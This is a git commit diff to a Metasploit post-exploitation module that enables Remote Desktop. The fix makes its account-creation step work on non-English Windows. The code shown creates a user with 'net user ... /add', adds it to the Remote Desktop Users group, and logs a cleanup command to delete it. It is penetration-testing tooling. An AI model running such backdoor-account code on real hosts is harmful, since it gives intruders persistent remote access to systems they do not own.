Fix #3852, make enable_rdp with other languages

bug/bundler_fix
jvazquez-r7 2014-12-12 17:30:14 -06:00
parent 488f46c8a1
commit 27323bcaa5
1 changed files with 23 additions and 1 deletions

View File

@ -116,8 +116,21 @@ class Metasploit3 < Msf::Post
print_status "Setting user account for logon"
print_status "\tAdding User: #{username} with Password: #{password}"
begin
if check_user(username)
print_error("\tThe user #{username} already exists")
return
end
user_added = false
addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
if addusr_out =~ /success/i
user_added = true
elsif check_user(username)
user_added = true
end
if user_added
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
print_status "\tAdding User: #{username} to local group '#{rdu}'"
cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
@ -140,4 +153,13 @@ class Metasploit3 < Msf::Post
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def check_user(user)
output = cmd_exec('cmd.exe', '/c net user')
if output.include?(user)
return true
end
false
end
end